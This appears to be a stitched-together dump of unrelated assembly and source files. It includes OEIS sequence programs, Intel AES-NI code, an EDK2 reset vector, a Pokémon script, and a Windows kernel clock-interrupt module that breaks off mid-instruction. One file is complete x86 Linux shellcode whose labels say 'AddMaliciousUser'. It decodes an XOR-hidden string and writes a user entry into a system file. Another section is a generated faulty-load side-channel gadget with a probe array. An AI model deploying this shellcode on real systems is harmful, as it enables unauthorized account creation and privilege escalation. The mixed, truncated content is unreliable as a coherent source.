%define HAVE_SSE 1 %define HAVE_SSE2 1 %define HAVE_SSE3 1 %define HAVE_SSE4_1 1 %define HAVE_SSE4_2 1 %define HAVE_SSSE3 1 %define HAVE_UNISTD_H 1 %define HAVE_VSX 0 %define HAVE_WXWIDGETS 0 %define STATIC_LINK_JXL 0
; A198646: a(n) = 11*3^n-1. ; 10,32,98,296,890,2672,8018,24056,72170,216512,649538,1948616,5845850,17537552,52612658,157837976,473513930,1420541792,4261625378,12784876136,38354628410,115063885232,345191655698,1035574967096,3106724901290,9320174703872,27960524111618,83881572334856,251644717004570,754934151013712,2264802453041138,6794407359123416,20383222077370250,61149666232110752,183448998696332258,550346996088996776,1651040988266990330,4953122964800970992,14859368894402912978,44578106683208738936,133734320049626216810 mov $1,3 pow $1,$0 mul $1,11 sub $1,1 mov $0,$1
; A152457: Partial sums of A027444. ; 0,3,17,56,140,295,553,952,1536,2355,3465,4928,6812,9191,12145,15760,20128,25347,31521,38760,47180,56903,68057,80776,95200,111475,129753,150192,172956,198215,226145,256928,290752,327811,368305,412440,460428 lpb $0 add $1,$0 add $3,$0 sub $0,1 add $2,$3 add $2,$3 add $1,$2 lpe
; A077443: Numbers k such that (k^2 - 7)/2 is a square. ; 3,5,13,27,75,157,437,915,2547,5333,14845,31083,86523,181165,504293,1055907,2939235,6154277,17131117,35869755,99847467,209064253,581953685,1218515763,3391874643,7102030325,19769294173,41393666187,115223890395,241259966797,671574048197,1406166134595,3914220398787,8195736840773,22813748344525,47768254910043,132968269668363,278413792619485,774995869665653,1622714500806867,4517006948325555 mov $2,$0 add $2,1 mov $4,$0 lpb $2,1 mov $0,$4 sub $2,1 sub $0,$2 mov $3,$0 cmp $3,0 add $0,$3 cal $0,143608 ; A005319 and A002315 interleaved. add $1,$0 lpe sub $1,1 mul $1,2 add $1,3
; A021423: Decimal expansion of 1/419. ; Submitted by Jamie Morken(m2) ; 0,0,2,3,8,6,6,3,4,8,4,4,8,6,8,7,3,5,0,8,3,5,3,2,2,1,9,5,7,0,4,0,5,7,2,7,9,2,3,6,2,7,6,8,4,9,6,4,2,0,0,4,7,7,3,2,6,9,6,8,9,7,3,7,4,7,0,1,6,7,0,6,4,4,3,9,1,4,0,8,1,1,4,5,5,8,4,7,2,5,5,3,6,9,9,2,8,4,0 seq $0,83811 ; Numbers n such that 2n+1 is the digit reversal of n+1. div $0,1676 mod $0,10
; Author: Robert C. Raducioiu (rbct) ; Reference: http://shell-storm.org/shellcode/files/shellcode-561.php ; Shellcode: "\xeb\x48\x5f\x89\xfe\x31\xc9\xf7\xe1\xb1\x0b\x81\x37\x71\x63\x63\x75\x83\xc7\x04\xe2\xf5\x89\xf7\x89\xfb\x83\xc3\x0c\x53\x5e\x57\x5b\xb0\x06\x48\xb2\x69\xc1\xc2\x02\x66\xb9\x43\x04\x49\xcd\x80\x93\x31\xc0\x50\x5a\x6a\x20\x5a\x4a\x6a\x03\x58\x40\x56\x59\xcd\x80\x31\xc0\xb0\x06\xcd\x80\x40\xcd\x80\xe8\xb3\xff\xff\xff\x5e\x06\x17\x16\x5e\x13\x02\x06\x02\x14\x07\x75\x05\x0c\x0c\x07\x4b\x59\x53\x4f\x41\x59\x17\x45\x41\x11\x59\x5a\x03\x0c\x0c\x01\x4b\x4c\x01\x1c\x1f\x4c\x01\x14\x02\x0b\x69\x75" ; Length: 123 bytes global _start section .text _start: jmp short CallRunShellcode RunShellcode: pop edi mov esi, edi xor ecx, ecx mul ecx mov cl, 11 DecodeStringBytes: xor DWORD [edi], 0x75636371 add edi, 0x4 loop DecodeStringBytes OpenFile: mov edi, esi mov ebx, edi add ebx, 0xc push ebx pop esi push edi pop ebx mov al,0x6 dec eax mov dl, 0x69 rol edx, 2 mov cx,0x443 dec ecx ; call syscall 0x5: open() int 0x80 AddMaliciousUser: xchg ebx,eax xor eax, eax push eax pop edx push 0x20 pop edx dec edx push 0x3 pop eax inc eax push esi pop ecx ; call syscall write() int 0x80 CloseFileHandle: xor eax, eax ; call syscall close() mov al,0x6 int 0x80 Exit: ; call syscall exit() inc eax int 0x80 CallRunShellcode: call RunShellcode EncodedStringBytes: db 0x5e,0x06,0x17,0x16,0x5e,0x13,0x02,0x06,0x02,0x14,0x07,0x75,0x05,0x0c,0x0c,0x07,0x4b,0x59,0x53,0x4f,0x41,0x59,0x17,0x45,0x41,0x11,0x59,0x5a,0x03,0x0c,0x0c,0x01,0x4b,0x4c,0x01,0x1c,0x1f,0x4c,0x01,0x14,0x02,0x0b,0x69,0x75
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r14 push %r15 push %rbx push %rcx push %rdi push %rsi lea addresses_WC_ht+0xa118, %rcx nop nop nop add $32280, %r15 movb (%rcx), %r14b nop nop nop nop nop and %r11, %r11 lea addresses_UC_ht+0x15778, %rsi lea addresses_WT_ht+0x2498, %rdi nop nop nop nop nop cmp $15419, %r15 mov $87, %rcx rep movsb nop xor %r15, %r15 lea addresses_WC_ht+0x2698, %r15 and %rbx, %rbx movw $0x6162, (%r15) nop nop nop nop cmp %rsi, %rsi lea addresses_normal_ht+0xaf18, %r11 nop xor $36152, %r14 movw $0x6162, (%r11) nop nop nop nop inc %rsi lea addresses_normal_ht+0x13b18, %rsi lea addresses_WC_ht+0xd88f, %rdi inc %r11 mov $100, %rcx rep movsl nop and $43463, %r15 pop %rsi pop %rdi pop %rcx pop %rbx pop %r15 pop %r14 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r14 push %r8 push %r9 push %rax push %rdx // Faulty Load lea addresses_WT+0xc498, %r9 nop nop add %rax, %rax movups (%r9), %xmm0 vpextrq $1, %xmm0, %r14 lea oracles, %rax and $0xff, %r14 shlq $12, %r14 mov (%rax,%r14,1), %r14 pop %rdx pop %rax pop %r9 pop %r8 pop %r14 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}} {'39': 13242} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
; A158310: 361n + 1. ; 362,723,1084,1445,1806,2167,2528,2889,3250,3611,3972,4333,4694,5055,5416,5777,6138,6499,6860,7221,7582,7943,8304,8665,9026,9387,9748,10109,10470,10831,11192,11553,11914,12275,12636,12997,13358,13719,14080,14441,14802,15163,15524,15885,16246,16607,16968,17329,17690,18051,18412,18773,19134,19495,19856,20217,20578,20939,21300,21661,22022,22383,22744,23105,23466,23827,24188,24549,24910,25271,25632,25993,26354,26715,27076,27437,27798,28159,28520,28881,29242,29603,29964,30325,30686,31047,31408,31769,32130,32491,32852,33213,33574,33935,34296,34657,35018,35379,35740,36101,36462,36823,37184,37545,37906,38267,38628,38989,39350,39711,40072,40433,40794,41155,41516,41877,42238,42599,42960,43321,43682,44043,44404,44765,45126,45487,45848,46209,46570,46931,47292,47653,48014,48375,48736,49097,49458,49819,50180,50541,50902,51263,51624,51985,52346,52707,53068,53429,53790,54151,54512,54873,55234,55595,55956,56317,56678,57039,57400,57761,58122,58483,58844,59205,59566,59927,60288,60649,61010,61371,61732,62093,62454,62815,63176,63537,63898,64259,64620,64981,65342,65703,66064,66425,66786,67147,67508,67869,68230,68591,68952,69313,69674,70035,70396,70757,71118,71479,71840,72201,72562,72923,73284,73645,74006,74367,74728,75089,75450,75811,76172,76533,76894,77255,77616,77977,78338,78699,79060,79421,79782,80143,80504,80865,81226,81587,81948,82309,82670,83031,83392,83753,84114,84475,84836,85197,85558,85919,86280,86641,87002,87363,87724,88085,88446,88807,89168,89529,89890,90251 mov $1,$0 mul $1,361 add $1,362
############################################################################### # Copyright 2019 Intel Corporation # All Rights Reserved. # # If this software was obtained under the Intel Simplified Software License, # the following terms apply: # # The source code, information and material ("Material") contained herein is # owned by Intel Corporation or its suppliers or licensors, and title to such # Material remains with Intel Corporation or its suppliers or licensors. The # Material contains proprietary information of Intel or its suppliers and # licensors. The Material is protected by worldwide copyright laws and treaty # provisions. No part of the Material may be used, copied, reproduced, # modified, published, uploaded, posted, transmitted, distributed or disclosed # in any way without Intel's prior express written permission. No license under # any patent, copyright or other intellectual property rights in the Material # is granted to or conferred upon you, either expressly, by implication, # inducement, estoppel or otherwise. Any license under such intellectual # property rights must be express and approved by Intel in writing. # # Unless otherwise agreed by Intel in writing, you may not remove or alter this # notice or any other notice embedded in Materials by Intel or Intel's # suppliers or licensors in any way. # # # If this software was obtained under the Apache License, Version 2.0 (the # "License"), the following terms apply: # # You may not use this file except in compliance with the License. You may # obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 # # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # # See the License for the specific language governing permissions and # limitations under the License. ############################################################################### .section .note.GNU-stack,"",%progbits .text .p2align 6, 0x90 .globl EncryptECB_RIJ128pipe_AES_NI .type EncryptECB_RIJ128pipe_AES_NI, @function EncryptECB_RIJ128pipe_AES_NI: movslq %r8d, %r8 sub $(64), %r8 jl .Lshort_inputgas_1 .p2align 6, 0x90 .Lblks_loopgas_1: movdqa (%rcx), %xmm4 mov %rcx, %r9 movdqu (%rdi), %xmm0 movdqu (16)(%rdi), %xmm1 movdqu (32)(%rdi), %xmm2 movdqu (48)(%rdi), %xmm3 add $(64), %rdi pxor %xmm4, %xmm0 pxor %xmm4, %xmm1 pxor %xmm4, %xmm2 pxor %xmm4, %xmm3 movdqa (16)(%r9), %xmm4 add $(16), %r9 mov %rdx, %r10 sub $(1), %r10 .p2align 6, 0x90 .Lcipher_loopgas_1: aesenc %xmm4, %xmm0 aesenc %xmm4, %xmm1 aesenc %xmm4, %xmm2 aesenc %xmm4, %xmm3 movdqa (16)(%r9), %xmm4 add $(16), %r9 dec %r10 jnz .Lcipher_loopgas_1 aesenclast %xmm4, %xmm0 movdqu %xmm0, (%rsi) aesenclast %xmm4, %xmm1 movdqu %xmm1, (16)(%rsi) aesenclast %xmm4, %xmm2 movdqu %xmm2, (32)(%rsi) aesenclast %xmm4, %xmm3 movdqu %xmm3, (48)(%rsi) add $(64), %rsi sub $(64), %r8 jge .Lblks_loopgas_1 .Lshort_inputgas_1: add $(64), %r8 jz .Lquitgas_1 lea (,%rdx,4), %rax lea (-144)(%rcx,%rax,4), %r9 .p2align 6, 0x90 .Lsingle_blk_loopgas_1: movdqu (%rdi), %xmm0 add $(16), %rdi pxor (%rcx), %xmm0 cmp $(12), %rdx jl .Lkey_128_sgas_1 jz .Lkey_192_sgas_1 .Lkey_256_sgas_1: aesenc (-64)(%r9), %xmm0 aesenc (-48)(%r9), %xmm0 .Lkey_192_sgas_1: aesenc (-32)(%r9), %xmm0 aesenc (-16)(%r9), %xmm0 .Lkey_128_sgas_1: aesenc (%r9), %xmm0 aesenc (16)(%r9), %xmm0 aesenc (32)(%r9), %xmm0 aesenc (48)(%r9), %xmm0 aesenc (64)(%r9), %xmm0 aesenc (80)(%r9), %xmm0 aesenc (96)(%r9), %xmm0 aesenc (112)(%r9), %xmm0 aesenc (128)(%r9), %xmm0 aesenclast (144)(%r9), %xmm0 movdqu %xmm0, (%rsi) add $(16), %rsi sub $(16), %r8 jnz .Lsingle_blk_loopgas_1 .Lquitgas_1: pxor %xmm4, %xmm4 ret .Lfe1: .size EncryptECB_RIJ128pipe_AES_NI, .Lfe1-(EncryptECB_RIJ128pipe_AES_NI)
// // MatrixBase.h -- a base class for all matrix/graph classes // // $Id: MatrixBase.cc,v 1.2 2000/02/18 01:31:49 kumfert Exp $ // // Gary Kumfert, Old Dominion University // Copyright(c) 1997, Old Dominion University. All rights reserved. // // Permission to use, copy, modify, distribute and sell this software and // its documentation for any purpose is hereby granted without fee, // provided that the above copyright notice appear in all copies and // that both that copyright notice and this permission notice appear // in supporting documentation. Old Dominion University makes no // representations about the suitability of this software for any // purpose. It is provided "as is" without express or implied warranty. // /////////////////////////////////////////////////////////////////////// // // #include "spindle/MatrixBase.h" #ifdef HAVE_NAMESPACES using namespace SPINDLE_NAMESPACE; #endif bool MatrixBase::resize( const int newNCols, const int newNRows, const int newNNonZeros ) { colPtr.resize( newNCols + 1 ); rowIdx.resize( newNNonZeros ); if ( diagPtr.notNull() ) { if ( diagPtr.size() == nCols ) { diagPtr.resize( newNCols ); } else { diagPtr.resize( 0 ); } } if ( realValues.notNull() ) { if ( realValues.size() == nNonZeros ) { realValues.resize( newNNonZeros ); } else { realValues.resize( 0 ); } } if ( imgValues.notNull() ) { if ( imgValues.size() == nNonZeros ) { realValues.resize( newNNonZeros ); } else { realValues.resize( 0 ); } } nRows = newNRows; nCols = newNCols; nNonZeros = newNNonZeros; return true; } bool MatrixBase::setDiagPtr() { bool recomputeDiagPtr = false; const int n = nCols; if ( diagPtr.size() != n ) { // there is no diagPtr, so create it diagPtr.resize( n ); recomputeDiagPtr = true; } // if we aren't already sure that we must recompute if (!recomputeDiagPtr) { // test all values for(int i=0; i<n; ++i ) { if (rowIdx[diagPtr[i]] != i) { recomputeDiagPtr = true; break; } } } // Now recompute if neccessary if (recomputeDiagPtr) { const int* colptr = colPtr.lend(); const int* rowidx = rowIdx.lend(); for(int i=0; i<n ;i++) { for(int j=colptr[i];j<colptr[i+1];j++){ diagPtr[i]=j; if(rowidx[j] == i) { break; } else if (rowidx[j] > i) { // error, should have explicit self edges return false; } } } } return true; }
;------------------------------------------------------------------------------ ; @file ; First code exectuted by processor after resetting. ; ; Copyright (c) 2008 - 2011, Intel Corporation. All rights reserved.<BR> ; SPDX-License-Identifier: BSD-2-Clause-Patent ; ;------------------------------------------------------------------------------ BITS 16 ALIGN 16 FITHeader: DQ 0,0,0,0 applicationProcessorEntryPoint: ; ; Application Processors entry point ; ; GenFv generates code aligned on a 4k boundary which will jump to this ; location. (0xffffffe0) This allows the Local APIC Startup IPI to be ; used to wake up the application processors. ; jmp short EarlyApInitReal16 ALIGN 8 DD 0 ; ; The VTF signature ; ; VTF-0 means that the VTF (Volume Top File) code does not require ; any fixups. ; vtfSignature: DB 'V', 'T', 'F', 0 ALIGN 16 ; 0fffffff0 resetVector: ; ; Reset Vector ; ; This is where the processor will begin execution ; nop nop jmp short EarlyBspInitReal16 ALIGN 16 fourGigabytes:
; ; Small C z88 File functions ; Written by Dominic Morris <djm@jb.man.ac.uk> ; 22 August 1998 ** UNTESTED ** ; ; *** THIS IS A Z88 SPECIFIC ROUTINE!!! *** ; ; 11/3/99 Visited to fix, jp nz,feof_abort was jp z,feof_abort ; if we enter in with a std* stream then we exit with error ; INCLUDE "#fileio.def" XLIB fdfeof LIB fhand_ck ;*feof(fp) ;int fp ;on stack ;return address,fp ;fp file handle to query if at end of file .fdfeof ld hl,2 add hl,sp ld e,(hl) inc hl ld d,(hl) call fhand_ck jr nz,feof1 .feof_abort ld hl,-1 ;error! ret .feof1 push de pop ix ld a,fa_eof call_oz(os_frm) jp nz,feof_abort jp c,feof_abort ld hl,0 ret
; A139154: Natural numbers of the form (n!+7)/7. ; 721,5761,51841,518401,5702401,68428801,889574401,12454041601,186810624001,2988969984001,50812489728001,914624815104001,17377871486976001,347557429739520001,7298706024529920001 add $0,7 mov $1,2 lpb $0 mul $1,$0 sub $0,1 lpe sub $1,10080 div $1,14 add $1,721 mov $0,$1
ChadOakGossipScript: random 10 ifequal 0, .Blue ifequal 1, .Daisy ifequal 2, .ProfElm ifequal 3, .Dream ifequal 4, .Kurt ifequal 5, .League ifequal 6, .RadioShow ifequal 7, .Battling ifequal 8, .DaisyTea ifequal 9, .Traveled .Blue: farwritetext ChadBlueGossipText buttonsound sjump PhoneScript_HangupText_Male .Daisy: farwritetext ChadDaisyGossipText buttonsound sjump PhoneScript_HangupText_Male .ProfElm: farwritetext ChadProfElmGossipText buttonsound sjump PhoneScript_HangupText_Male .Dream: farwritetext ChadDreamGossipText buttonsound sjump PhoneScript_HangupText_Male .Kurt: farwritetext ChadKurtGossipText buttonsound sjump PhoneScript_HangupText_Male .League: farwritetext ChadLeagueGossipText buttonsound sjump PhoneScript_HangupText_Male .RadioShow: farwritetext ChadRadioShowGossipText buttonsound sjump PhoneScript_HangupText_Male .Battling: farwritetext ChadBattlingGossipText buttonsound sjump PhoneScript_HangupText_Male .DaisyTea: farwritetext ChadDaisyTeaGossipText buttonsound sjump PhoneScript_HangupText_Male .Traveled: farwritetext ChadTravelGossipText buttonsound sjump PhoneScript_HangupText_Male
title "Interval Clock Interrupt" ;++ ; ; Copyright (c) Microsoft Corporation. All rights reserved. ; ; You may only use this code if you agree to the terms of the Windows Research Kernel Source Code License agreement (see License.txt). ; If you do not agree to the terms, do not use the code. ; ; ; Module Name: ; ; clockint.asm ; ; Abstract: ; ; This module implements the code necessary to field and process the ; interval clock interrupt. ; ;-- .586p .xlist KERNELONLY equ 1 include ks386.inc include callconv.inc ; calling convention macros include i386\kimacro.inc include mac386.inc .list EXTRNP Kei386EoiHelper EXTRNP HalRequestSoftwareInterrupt,1,IMPORT,FASTCALL EXTRNP _HalEndSystemInterrupt,2,IMPORT extern _ExpInterlockedPopEntrySListEnd@0:PROC extrn _ExpInterlockedPopEntrySListResume@0:PROC extrn _KeTimeIncrement:DWORD extrn _KeMaximumIncrement:DWORD extrn _KeTickCount:DWORD extrn _KeTimeAdjustment:DWORD extrn _KiAdjustDpcThreshold:DWORD EXTRNP KiCheckForSListAddress,1,,FASTCALL extrn _KiIdealDpcRate:DWORD extrn _KiMaximumDpcQueueDepth:DWORD extrn _KiTickOffset:DWORD extrn _KiTimerTableListHead:DWORD extrn _KiProfileListHead:DWORD extrn _KiProfileLock:DWORD extrn _KiProfileInterval:DWORD extrn _KdDebuggerEnabled:BYTE EXTRNP _DbgBreakPoint EXTRNP _DbgBreakPointWithStatus,1 EXTRNP _KdPollBreakIn EXTRNP _KiDeliverApc,3 extrn _KeI386MachineType:DWORD extrn _PPerfGlobalGroupMask:DWORD EXTRNP PerfProfileInterrupt,2,,FASTCALL if DBG extrn _DbgPrint:near extrn _KiDPCTimeout:DWORD extrn _MsgDpcTimeout:BYTE endif _DATA SEGMENT DWORD PUBLIC 'DATA' public ProfileCount ProfileCount DD 0 _DATA ends page ,132 subttl "Update System Time" _TEXT$00 SEGMENT DWORD PUBLIC 'CODE' ASSUME DS:FLAT, ES:FLAT, SS:NOTHING, FS:NOTHING, GS:NOTHING ;++ ; ; VOID ; KeUpdateSystemTime ( ; IN KIRQL PreviousIrql, ; IN KTRAP_FRAME TrapFrame ; ) ; ; Routine Description: ; ; This routine is entered as the result of an interrupt generated by CLOCK2. ; Its function is to update the system time and check to determine if a timer ; has expired. ; ; N.B. This routine is executed on a single processor in a multiprocessor ; system. The remainder of the processors only execute the quantum end ; and runtime update code. ; ; N.B. This routine is not called, but directly jumped to. Thus, there ; is no return address. It returns via the INTERRUPT_EXIT macro. ; ; Arguments: ; ; PreviousIrql (esp) - supplies previous irql of system ; ; HardwareVector (esp+4) - supplies hardware vector for EndSystemInterrupt ; ; TrapFrame (esp+8) - supplies base of trap frame ; ; EAX is the TimeIncrement value ; ; EBP is a pointer to the trap frame ; ; ; Environment: ; ; IRQL = CLOCK_LEVEL ; ; Return Value: ; ; None. ; ;-- cPublicProc _KeUpdateSystemTime ,0 .FPO (2, 0, 0, 0, 0, 1) ; treat params as locals since functions is JMPed too if DBG cmp byte ptr PCR[PcPrcbData+PbSkipTick], 0 jnz kust_skiptick endif ; ; Update interrupt time. ; ; N.B. The interrupt time is updated in a very strict manner so that an ; interlock does not have to be used in an MP system to read time. ; mov ecx,USER_SHARED_DATA ; get address of user shared data mov edi,[ecx].UsInterruptTime+0 ; get low interrupt time mov esi,[ecx].UsInterruptTime+4 ; get high interrupt time add edi,eax ; add time increment adc esi,0 ; propagate carry mov [ecx].UsInterruptTime+8,esi ; store high 2 interrupt time mov [ecx].UsInterruptTime+0,edi ; store low interrupt time mov [ecx].UsInterruptTime+4,esi ; store high 1 interrupt time ifndef NT_UP lock sub _KiTickOffset,eax ; subtract time increment else sub _KiTickOffset,eax ; subtract time increment endif mov eax,_KeTickCount+0 ; get low tick count mov ebx,eax ; copy low tick count jg kust10 ; if greater, not complete tick ; ; Update system time. ; ; N.B. The system time is updated in a very strict manner so that an ; interlock does not have to be used in an MP system to read time. ; mov ebx,USER_SHARED_DATA ; get address of user shared data mov ecx,[ebx].UsSystemTime+0 ; get low system time mov edx,[ebx].UsSystemTime+4 ; get high system time add ecx,_KeTimeAdjustment ; add time increment adc edx,0 ; propagate carry mov [ebx].UsSystemTime+8,edx ; store high 2 system time mov [ebx].UsSystemTime+0,ecx ; store low system time mov [ebx].UsSystemTime+4,edx ; store high 1 system time mov ebx,eax ; restore low tick count ; ; Update tick count. ; ; N.B. The tick count is updated in a very strict manner so that an ; interlock does not have to be used in an MP system to read count. ; mov ecx,eax ; copy low tick count mov edx,_KeTickCount+4 ; get high tick count add ecx,1 ; increment tick count adc edx,0 ; propagate carry mov _KeTickCount+8,edx ; store high 2 tick count mov _KeTickCount+0,ecx ; store low tick count mov _KeTickCount+4,edx ; store high 1 tick count mov USERDATA[UsTickCount]+8, edx ; store USD high 2 tick count mov USERDATA[UsTickCount]+0, ecx ; store USD low tick count mov USERDATA[UsTickCount]+4, edx ; store USD high 1 tick count ; ; Check to determine if a timer has expired. ; (edi:esi) = KiInterruptTime ; (eax) = KeTickCount.LowPart ; (ebx) = KeTickCount.LowPart ; .errnz (TIMER_ENTRY_SIZE - 16) and eax,TIMER_TABLE_SIZE-1 ; isolate current hand value shl eax, 4 ; compute timer entry offset cmp esi,[eax]+_KiTimerTableListHead+TtTime+4 ; compare high due time jb short kust5 ; if below, timer has not expired ja short kust15 ; if above, timer has expired cmp edi,[eax]+_KiTimerTableListHead+TtTime ; compare low due time jae short kust15 ; if above or equal, timer has expired kust5: inc ebx ; advance hand value to next entry mov eax, ebx ; ; ; Check to determine if a timer has expired. ; (edi:esi) = KiInterruptTime ; (eax) = bucket ; (ebx) = KeTickCount.LowPart ; kust10: and eax,TIMER_TABLE_SIZE-1 ; isolate current hand value shl eax, 4 ; compute timer entry offset cmp esi,[eax]+_KiTimerTableListHead+TtTime+4 ; compare high due time jb kustxx ; if below, timer has not expired ja short kust15 ; if above, timer has expired cmp edi,[eax]+_KiTimerTableListHead+TtTime ; compare low due time jb kustxx ; if below, timer has not expired kust15: ; ; ; Timer has expired, put timer expiration DPC in the current processor's DPC ; queue. ; ; (ebx) = KeTickCount.LowPart ; mov ecx,PCR[PcPrcb] ; get processor control block address cmp dword ptr [ecx]+PbTimerRequest, 0 ; check if expiration active jne short kustxx ; if ne, expiration already active mov [ecx]+PbTimerRequest, esp ; set timer request mov [ecx]+PbTimerHand, ebx ; set timer hand value mov ecx, DISPATCH_LEVEL ; request dispatch interrupt fstCall HalRequestSoftwareInterrupt ; ; ; If the debugger is enabled, check if a break is requested. ; kustxx: cmp _KdDebuggerEnabled, 0 ; check if a debugger is enabled jnz short kust45 ;if nz, debugger is enabled kust30: cmp _KiTickOffset,0 ; check if full tick jg short Kust40 ; if not less, not a full tick mov eax,_KeMaximumIncrement ; get maximum time increment add _KiTickOffset,eax ; add maximum tine to residue ; ; call KeUpdateRunTime to do the actual work ; ; TOS const PreviousIrql push [esp] call _KeUpdateRunTime@4 ; ; Do interrupt exit processing ; INTERRUPT_EXIT kust40: inc dword ptr PCR[PcPrcbData+PbInterruptCount] INTERRUPT_EXIT kust45: stdCall _KdPollBreakIn or al,al jz short kust30 stdCall _DbgBreakPointWithStatus,<DBG_STATUS_CONTROL_C> jmp short kust30 if DBG kust_skiptick: mov byte ptr PCR[PcPrcbData+PbSkipTick], 0 jmp short kust40 endif stdENDP _KeUpdateSystemTime page ,132 subttl "Update Thread and Process Runtime" ;++ ; ; Routine Description: ; ; This routines does the actual work to update the runtime of the current ; thread, update the runtime of the current thread's process, and ; decrement the current thread's quantum. ; ; It also updates the system global counters for user and kernel mode time. ; ; It increments InterruptCount so that clock ticks get counted as ; interrupts. ; ; Arguments: ; ; esp+4 constant PreviousIrql ; ; ebp MUST point to the machine state frame. ; ; Return Value: ; ; None. ; ;-- cPublicProc _KeUpdateRunTime ,1 cPublicFpo 1, 1 mov eax, PCR[PcSelfPcr] if DBG cmp byte ptr [eax]+PcPrcbData+PbSkipTick, 0 jnz kutp_skiptick endif push ebx ; we will destroy ebx inc dword ptr [eax]+PcPrcbData+PbInterruptCount mov ebx, [eax]+PcPrcbData+PbCurrentThread ; (ebx)->current thread mov ecx, ThApcState+AsProcess[ebx] ; (ecx)->current thread's process test dword ptr [ebp]+TsEFlags,EFLAGS_V86_MASK jne Kutp20 ; if ne, user mode test byte ptr [ebp]+TsSegCs, MODE_MASK ; test if prev mode was kernel jne Kutp20 ; if ne, user mode ; ; Update the total time spent in kernel mode ; inc dword ptr [eax].PcPrcbData.PbKernelTime cmp byte ptr [esp+8], DISPATCH_LEVEL jc short 